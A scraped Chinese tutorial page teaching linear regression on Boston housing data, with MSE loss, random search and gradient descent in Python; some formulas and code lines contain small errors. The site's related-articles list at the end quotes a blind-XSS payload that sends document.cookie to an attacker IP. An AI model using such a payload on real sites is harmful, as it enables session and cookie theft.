19. 深度学习 - 用函数解决问题

文章目录


茶桁的AI秘籍 核心基础 19

Hi, 你好。我是茶桁。

上一节课,我们从一个波士顿房价的预测开始写代码,写到了KNN。

之前咱们机器学习课程中有讲到KNN这个算法,分析过其优点和缺点,说起来,KNN这种方法比较低效,在数据量比较大的时候就比较明显。

那本节课,我们就来看一下更加有效的学习方法是什么,A more Efficient Learning Way.

接着我们上节课的代码我们继续啊,有不太了解的先回到上节课里去看一下。

我们X_rmy如果能够找到这两者之间的函数关系,每次要计算的时候,输入给这个函数,就能直接获得预测值。

那这个函数关系怎么获得呢?我们需要先观察一下,这个时候就到了我们的拟合函数关系。

那既然要观察,当然最好就是将数据可视化之后进行观察:

import matplotlib.pyplot as plt
plt.scatter(X_rm, y)

Alt text

可以看到,它们之间的关系大体应该这样一种关系:

在这里插入图片描述

那这个样子的图我们熟悉不? 是不是在线性回归那一张里我们见过?也就是用一根直线去拟合了这些点的一个趋势。

我们把它写出来:

f ( x ) = k ⋅ r m + b f(x) = k \cdot rm + b f(x)=krm+b

那我们现在就会把这个问题变成,假设现在的函数k*rm+b, 那我们就需要找到一组k和b,然后让它的拟合效果最好。这个时候我们就会遇到一个问题,拟合效果怎样算是好?

比方说我们现在有一组数据,一组实际的值,还有一组预测值。

real_y = {3, 6, 7}
y_hats = {3, 4, 7}
y_hats2 = {3, 6, 6}

问哪个值更好。

我们会发现这两个预测都挺好的,那哪个更好?这个时候我们需要搬出我们的loss函数了。

loss函数就是在我们进行预测的时候,它的信息损失了多少,所以我们称其为损失函数,loss函数。
l o s s ( y , y ^ ) = 1 N ∑ i ∈ N ( y i − y i ^ ) 2 loss(y, \hat y) = \frac{1}{N}{\sum_{i \in N}}(y_i - \hat {y_i})^2 loss(y,y^)=N1iN(yiyi^)2
y_i - yhat_i这个值越接近于0。 等于0的意思就是每一个预测的y都和实际的y的值是一样的。那么如果这个值越大指的是预测的y和实际的y之间差的越大。

那我们在这个地方就可以定义一个函数:

def loss(y, yhat):
    return np.mean((np.array(y) - np.array(yhat))** 2)

然后我们直接将两组yhat和真实的real_y代入进去比对:

loss(real_y, y_hats)
loss(real_y, y_hats2)

---
1.3333333333333333
0.3333333333333333

所以它这个意思是说yhats2的效果更好一些。

那我们将上面这个loss函数就叫做Mean Squared Error,就是均方误差,也简称MSE。咱们现在有了loss,就有了是非判断的标准了,就可以找到最好的结果。

有了判断标准怎么样来获得最优的k和b呢?早些年的时候有这么几种方法,第一种是直接用微积分的方法做计算。
l o s s = 1 N ∑ i ∈ N ( y i − y ^ ) 2 = 1 N ∑ i ∈ N ( y i − ( k x i + b ) ) 2 \begin{align*} loss & = \frac{1}{N}\sum_{i\in N}(y_i - \hat y)^2 \\ & = \frac{1}{N}\sum_{i\in N}(y_i - (kx_i + b))^2 \\ \end{align*} loss=N1iN(yiy^)2=N1iN(yi(kxi+b))2
此时我们是知道x_i 和y_i的值,N也是常数。那么其实求偏导之后它就可以变化成下面这组式子:
A k 2 + B k + C A ′ b 2 + B ′ b + C ′ Ak^2 + Bk +C \\ A'b^2+B'b+C' Ak2+Bk+CAb2+Bb+C
A、B、C是根据我们所知道的x_i和y_i以及常数N来计算出来的数。这个时候loss要取极值的时候,我们令其为loss’, 那loss’就等于-A/2B,或者-A’/2B’。那么这种方法我们就称之为最小二乘法,它是为了最小化MSE,对MSE求偏导数并令其等于零,来找到使MSE最小的参数值。

但是为什么后来人们没有用微积方的方法直接做呢?是因为这个函数会变得很复杂,当函数变得极其复杂的时候,学过微积分的同学就应该知道,你是不能直接求出来他的导数的。也就是说当函数变得极其复杂的时候,直接用微积分是求不出来极致点的,所以这种方法后来就没用。

第二种方法,后来人们想了可以用随机模拟的方法来做。

我们首先来在-100到100之间随机两个值:k和b

VAR_MAX, VAR_MIN = 100, -100
k, b = random.randint(VAR_MIN, VAR_MAX), random.randint(VAR_MIN, VAR_MAX)

只拿到一组当然是无从比较的,所以我们决定拿个100组的随机值:

total_times = 100
for t in range(total_times):
    k, b = random.randint(VAR_MIN, VAR_MAX), random.randint(VAR_MIN, VAR_MAX)

然后定义一个值, 叫做最小的loss。这个最小的loss一开始取值为无穷大,并且再给两个值,最好的k和最好的b,先赋值为None

min_loss = float('inf')
best_k, best_b = None, None

之后我们要拿预测值来赋值给新的loss,我们来定义一个函数,它要做的事情很简单,就是返回k*x+b

def model(x, k, b):
    return k*x + b

loss_ = loss(y, model(X_rm, k, b))

接着我们就可以来进行对比了,就会找到那组最好的k和b:

if loss_ < min_loss:
    min_loss = loss_
    best_k, best_b = k, b

完整的代码如下, 当然我们是接着之前的代码写的,所以loss函数和y,还有X_rm都是在之前代码中有过定义的。

VAR_MAX, VAR_MIN = 100, -100
min_loss = float('inf')
best_k, best_b = None, None

def model(x, k, b):
    return x * k +b

total_times = 100

for t in range(total_times):
    k, b = random.randint(VAR_MIN, VAR_MAX), random.randint(VAR_MIN,VAR_MAX)

    loss_ = loss(y, model(X_rm, k, b))

    if loss_ < min_loss:
        min_loss = loss_
        best_k, best_b = k, b
        print("在{}时刻找到了更好的k: {}, b: {}, 这个loss是:{}".format(t, k, b, loss_))

---0时刻找到了更好的k: 12, b: 89, 这个loss是:20178.468824442698时刻找到了更好的k: 2, b: 2, 这个loss是:131.8700051146245221时刻找到了更好的k: 11, b: -48, 这个loss是:47.340357088932805

如果我们将寻找的次数放大,改为10**3, 那我们会发现,开始找的很快,但是后面寻找的会越来越慢。

就类似于你现在在一个公司,假设你从刚进去的时候,要达到职位很高,薪水很高。小职员你想一直升职,你可以随机的去做很多你喜欢做的事情,没有人指导你。一开始的时候,你会发觉自己的升职加薪似乎并没有那么困难,但是随着自己越往上,升职的速度就降下来了,因为上面职位并没有那么多了。这个时候你所需要尝试和努力就会越来越多。到后面你每尝试一步,你所需要的努力就会越来越多。

那么这个时候我们就要想,我们怎么样能够让更新频率更快呢?而不要像这样到后面基本上不更新了。

不知道我们是否还记得大学时候的数学知识,假设现在这个loss和k在一个二维平面上,我们对loss和k来求一个偏导:

∂ l o s s ∂ k \frac{\partial loss}{\partial k} kloss

这个导数的取值范围就会导致两种情况,当其大于0的时候,k越大,则loss也越大,当其小于0的时候,k越大,loss则越小。

那我们在这里就可以总结出一个规律:

p ′ = p + ( − 1 ) ∂ l o s s ∂ p ∗ α p' = p + (-1)\frac{\partial loss}{\partial p} * \alpha p=p+(1)plossα

α \alpha α就是一个很小的数,因为我们每次要只能移动很小的一点,不能减小很多。

那有了这个,我们就可以将我们的k和b应用上去,也就可以得到:

k ′ = k + ( − 1 ) ∂ l o s s ∂ k ⋅ α b ′ = b + ( − 1 ) ∂ l o s s ∂ b ⋅ α \begin{align*} k' = k + (-1)\frac{\partial loss}{\partial k} \cdot \alpha \\ b' = b + (-1)\frac{\partial loss}{\partial b} \cdot \alpha \\ \end{align*} k=k+(1)klossαb=b+(1)blossα

那我们如何使用计算机来实现刚刚讲的这些内容呢?我们先把上面的式子再做一下变化:

k n + 1 = k n + − 1 ⋅ ∂ l o s s ( k , b ) ∂ k n b n + 1 = b n + − 1 ⋅ ∂ l o s s ( b , b ) ∂ b n k_{n+1} = k_n + -1 \cdot \frac{\partial loss(k, b)}{\partial k_n} \\ b_{n+1} = b_n + -1 \cdot \frac{\partial loss(b, b)}{\partial b_n} kn+1=kn+1knloss(k,b)bn+1=bn+1bnloss(b,b)

这个就是所谓的梯度下降。

那现在的问题就变成,如何使用计算机来实现梯度下降。我们就来定义两个求导函数,并且将之前的代码拿过来做一些修改:

def loss(y, yhat):
    return np.mean((np.array(y) - np.array(yhat)) ** 2)

def partial_k(x, y, k_n, b_n):
    return 2 * np.mean((y - (k * x + b))*(-x))

def partial_b(x, y, k_n, b_n):
    return 2 * np.mean((y - (k * x + b))*(-1))

k,b = random.random(), random.random()

min_loss = float('inf')
best_k, best_b = None, None

total_times = 500
alpha = 1e-3

k_b_history = []

for t in range(total_times):
    k = k + (-1) * partial_k(X_rm, y, k, b) * alpha 
    b = b + (-1) * partial_b(X_rm, y, k, b) * alpha

    loss_ = loss(y, model(X_rm, k, b))

    if loss_ < min_loss:
        min_loss = loss_
        best_k, best_b = k, b
        k_b_history.append([best_k, best_b])
        print("在{}时刻找到了更好的k: {}, b: {}, 这个loss是:{}".format(t, k, b, loss_))

---0时刻找到了更好的k: 0.8391888851738278, b: 0.44333100376779605, 这个loss是:360.0001031761941时刻找到了更好的k: 1.0586893752129705, b: 0.474203003102507, 这个loss是:312.7942150454931
...498时刻找到了更好的k: 3.587603582169745, b: 0.40777844839877003, 这个loss是:58.761172062586965499时刻找到了更好的k: 3.587736446932306, b: 0.4069332804559017, 这个loss是:58.760441520932375

其实关于这个内容,我们在机器学习 - 线性回归那一章就介绍过。看不懂这一段的小伙伴可以回过头取好好看一下那一章。

那这样,我们可以发现,之前是间隔很多次才作一词更新,而现在是每一次都会进行更新,一直在减小。这个是因为我们实现了一个「监督」。

在这样的情况下结果就变得更好了,比如我们再将次数调高一点,在全部运行完之后,我们来画个图看看:

plt.scatter(X_rm, y)
plt.scatter(X_rm, best_k * X_rm + best_b, color='orange')
plt.plot(X_rm, best_k * X_rm + best_b, color='red')

Alt text

我们可以看到它拟合出来的点和连接成的直线,和我们上面手动去画的似乎还是有很大差别的。

在刚才的代码里我还做了一件事情,定义了一个k_b_history, 然后将所有的best_k和best_b都存储到了里面。然后我们随机取几个点,第一个取第10个测试点,第二个取第50次测试点,第三个我们取第5000次,第四个我们取最后一次:

test_0, test_1, test_2, test_3, test_4 = 0, 10, 50, 5000, -1

然后我们分别画一下这几个点的图:

plt.scatter(X_rm, y)
plt.scatter(X_rm, k_b_history[test_0][0] * X_rm + k_b_history[test_0][1])
plt.scatter(X_rm, k_b_history[test_1][0] * X_rm + k_b_history[test_1][1])
plt.scatter(X_rm, k_b_history[test_2][0] * X_rm + k_b_history[test_2][1])
plt.scatter(X_rm, k_b_history[test_3][0] * X_rm + k_b_history[test_3][1])
plt.scatter(X_rm, k_b_history[test_4][0] * X_rm + k_b_history[test_4][1])

Alt text

我们就可以看到,刚开始的时候和最后的一次拟合的线的结果,还有中间一步步的拟合的变化。这条线在往上面一步一步的走。这样我们相当于是透视了它整个获得最优的k和b的过程。

那这个时候我们来看一下,咱们怎么怎么预测呢?我们可以拿我们的best_kbest_b去输出最后的预测值了:

model(7, best_k, best_b)

---
28.718752244698216

预测出来是28.7万。那房间数目为7的时候,我们预测出这个价格是28.7万,还记得咱们上节课中用KNN预测出来的值么?

find_price_by_simila(rm_to_price, 7)

---
29.233333333333334

是29万对吧?现在我们就能看到了,这两种方式预测值基本很接近,都能预测。

那么我们使用函数来进行预测的原因还有一个,就是我们在使用函数在进行学习之后,然后拿模型去计算最后的值,这个计算过程速度会快很多。

好,咱们下节课将会学习怎样拟合更加复杂的函数,因为这个世界上的函数可不仅仅是最简单线性,还得拟合更加复杂的函数。

然后再后面的课程,我们会讲到激活函数,开始接触神经网络,什么是深度学习。

然后我们要来讲解一个很重要的概念,就是反向传播,会讲怎么样实现自动的反向传播。实现了自动的反向传播,我们会基于拓普排序的方法让计算机能够自动的计算它的梯度和偏导。

在讲完这些之后,基本上我们就有了构建一个深度学习神经网络框架的内容了。

好,希望小伙伴们在今天的课程中有所收获。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/130276.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

万能在线预约小程序系统源码 适合任何行业在线预约小程序+预约到店模式 带完整的搭建教程

大家好啊&#xff0c;源码小编又来给大家分享啦&#xff01;随着互联网的发展和普及&#xff0c;越来越多的服务行业开始使用在线预约系统以方便客户和服务管理。例如&#xff0c;美发店、健身房、餐厅等都可以通过在线预约系统提高服务效率&#xff0c;减少等待时间&#xff0…

开机自启动笔记本的小键盘

虽然电脑开机次数不多&#xff0c;但每次开机都要摁下小键盘的开关&#xff0c;好烦 终于忍不住了&#xff1a; 将下面文件命名为 XXX.bat echo off rem 禁用批处理文件中的命令回显&#xff0c;以使输出更整洁rem 查询注册表中 "InitialKeyboardIndicators" 的值 r…

赛氪中西部外语翻译大赛入榜2023国内翻译赛事发展评估报告

中西部外语翻译大赛入选中国外文局CATTI项目管理中心和中国外文界平台联合发布《2023国内翻译赛事发展评估报告》 近日&#xff0c;中国外文局CATTI项目管理中心和中国外文界平台联合发布了《2023国内翻译赛事发展评估报告》&#xff0c;报告对国内主流外语翻译赛事进行了问卷调…

【微服务专题】手写模拟SpringBoot

目录 前言阅读对象阅读导航前置知识笔记正文一、工程项目准备1.1 新建项目1.1 pom.xml1.2 业务模拟 二、模拟SpringBoot启动&#xff1a;好戏开场2.1 启动配置类2.1.1 shen-base-springboot新增2.1.2 shen-example客户端新增启动类 三、run方法的实现3.1 步骤一&#xff1a;启动…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Windows 安装 Maven

Maven 安装 Maven 下载地址&#xff1a;https://maven.apache.org/download.cgi 下载 apache-maven-3.9.5-bin.zip 到本地解压到 D:\Software\apache-maven-3.9.5 配置阿里云镜像 配置阿里云远程仓库镜像地址&#xff0c;打开配置文件 D:\Software\apache-maven-3.9.5\conf\s…

在gitlab中的使用kaniko打造流水线

文章目录 kaniko工具介绍环境说明系统版本组件版本组件部署参考链接 部署harbor下载解压、创建相关目录配置部署 gitlab集成harbor集成项目ci配置最终结果 kaniko工具介绍 kaniko 是一种从容器或 Kubernetes 集群内的 Dockerfile 构建容器镜像的工具。 kaniko 解决了使用 Doc…

听GPT 讲Rust源代码--library/core/src

题图来自 The first unofficial game jam for Rust lang![1] File: rust/library/core/src/hint.rs rust/library/core/src/hint.rs文件的作用是提供了一些用于提示编译器进行优化的函数。 在Rust中&#xff0c;编译器通常会根据代码的语义进行自动的优化&#xff0c;以提高程序…

Wix使用velo添加Google ads tag并在form表单提交时向谷歌发送事件

往head里加代码时&#xff0c;不能看谷歌的代码&#xff0c;要看wix的代码&#xff0c;不然必定踩坑 https://support.wix.com/en/article/tracking-google-ads-conversions-using-wix-custom-code 这里的代码才对&#xff0c;因为wix搞了个velo&#xff0c;这个velo很傻x&am…

RESTFUL是什么,为什么使用,有什么优点

ESTful&#xff08;Representational State Transfer&#xff09;是一种软件架构风格&#xff0c;用于设计网络应用程序和服务。它是一种面向资源的设计理念&#xff0c;强调资源的标识、表现层和统一接口。RESTful 架构的设计原则和优点使得它成为构建分布式系统和 Web 服务的…

带你走进Cflow (三)·控制符号类型分析

目录 ​编辑 1、控制符号类型 1.1 语法类 1.2 符号别名 1.3 GCC 初始化 1、控制符号类型 有人也许注意到了输出中奇怪的现象&#xff1a;函数_exit 丢失了&#xff0c;虽然它在源文件中被printdir 调用了两次。这是因为默认情况下 cflow 忽略所有的一下划线开头的符号…

gird 卡片布局

场景一&#xff1a;单元格大小相等 这承载了所有 CSS Grid 中最著名的片段&#xff0c;也是有史以来最伟大的 CSS 技巧之一&#xff1a; 等宽网格响应式卡片实现 .section-content {display: grid;grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));gap: 10px; …

ros1 基础学习09 -自定义service服务开发示例

自定义service服务开发示例 如何使用服务一、模型图二、创建功能包三、自定义服务数据3.1 在package.xml中添加功能包依赖3.2 在CmakeLists.txt中添加编译选项3.3 编译生成的C文件和Python库4.1.2 编译整个工作空间 测试&#xff1a; 在ROS中&#xff0c;除了消息这种通信类型外…

Python爬虫——入门爬取网页数据

目录 前言 一、Python爬虫入门 二、使用代理IP 三、反爬虫技术 1. 间隔时间 2. 随机UA 3. 使用Cookies 四、总结 前言 本文介绍Python爬虫入门教程&#xff0c;主要讲解如何使用Python爬取网页数据&#xff0c;包括基本的网页数据抓取、使用代理IP和反爬虫技术。 一、…

git命令之遭遇 ignore罕见问题解决

我先来讲讲背景 我的一些文件在ignore了&#xff0c;不会被提交到远程仓库&#xff0c;这时候我的远程仓库中是没有这几个文件的&#xff0c;这时候我如果使用 git reset 的话这时候除了那几个 ignore 的文件以外都被更新的&#xff0c;但是如果我不需要这几个被 ignore 的文件…

[Machine Learning] 多任务学习

文章目录 基于参数的MTL模型 (Parameter-based MTL Models)基于特征的MTL模型 (Feature-based MTL Models)基于特征的MTL模型 I&#xff1a;基于特征的MTL模型 II&#xff1a; 基于特征和参数的MTL模型 (Feature- and Parameter-based MTL Models) 多任务学习 (Multi-task Lear…

千帆SDK开源到GitHub,开发者可免费下载使用!

目录 一、SDK的优势 二、千帆SDK&#xff1a;快速落地LLM应用 三、如何快速上手千帆SDK 1、SDK快速启动 快速安装 平台鉴权 如何获取AK/SK 以“Chat 对话”为调用示例 2. SDK进阶指引 3. 通过Langchain接入千帆SDK 为什么选择Langchain 开源社区 千帆社区 好消息&…

高斯过程回归 | GPR高斯过程回归

高斯过程回归(Gaussian Process Regression, GPR)是一种强大的非参数回归方法,它通过假设数据是从一个高斯过程中生成的来预测新的数据点。 高斯过程是一种定义在连续输入空间上的随机过程,其中任何有限集合的观测值都呈多变量高斯分布。 实现GPR的Python代码import numpy …

Redis快速入门

1.说说什么是Redis? Redis 是互联网技术领域中使用最广泛的存储中间件&#xff0c;它是 Remote Dictionary Service 三个单词中加粗字母的组合。你别说&#xff0c;组合起来后念着挺自然的。 Redis 以超高的性能、完美的文档、简洁的源码著称&#xff0c;国内外很多大型互联网…

在GORM中使用并发

一个全面的指南&#xff0c;如何安全地使用GORM和Goroutines进行并发数据处理 效率是现代应用程序开发的基石&#xff0c;而并发在实现效率方面发挥着重要作用。GORM&#xff0c;这个强大的Go对象关系映射库&#xff0c;使开发人员能够通过Goroutines embrace并行性。在本指南…